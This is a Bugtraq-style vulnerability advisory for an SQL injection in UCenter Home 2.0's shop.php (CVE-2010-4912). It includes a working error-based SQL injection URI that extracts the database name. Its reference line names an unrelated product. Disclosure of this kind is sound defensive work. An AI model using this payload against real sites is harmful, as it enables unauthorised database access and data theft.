UCenter Home 'shop.php' SQL Injection Vulnerability

Bugtraq ID:	43202
Class:	Input Validation Error
CVE:	CVE-2010-4912
Remote:	Yes
Local:	No
Published:	Sep 13 2010 12:00AM
Updated:	Oct 11 2011 09:10PM
Credit:	KnocKout
Vulnerable:
Not Vulnerable:

UCenter Home 'shop.php' SQL Injection Vulnerability

UCenter Home is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to execute arbitrary code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

UCenter Home 2.0 is vulnerable; other versions may also be affected.

UCenter Home 'shop.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

UCenter Home 'shop.php' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

UCenter Home 'shop.php' SQL Injection Vulnerability

References:

• Ultimate Regnow Affiliate Homepage (phpSUGAR)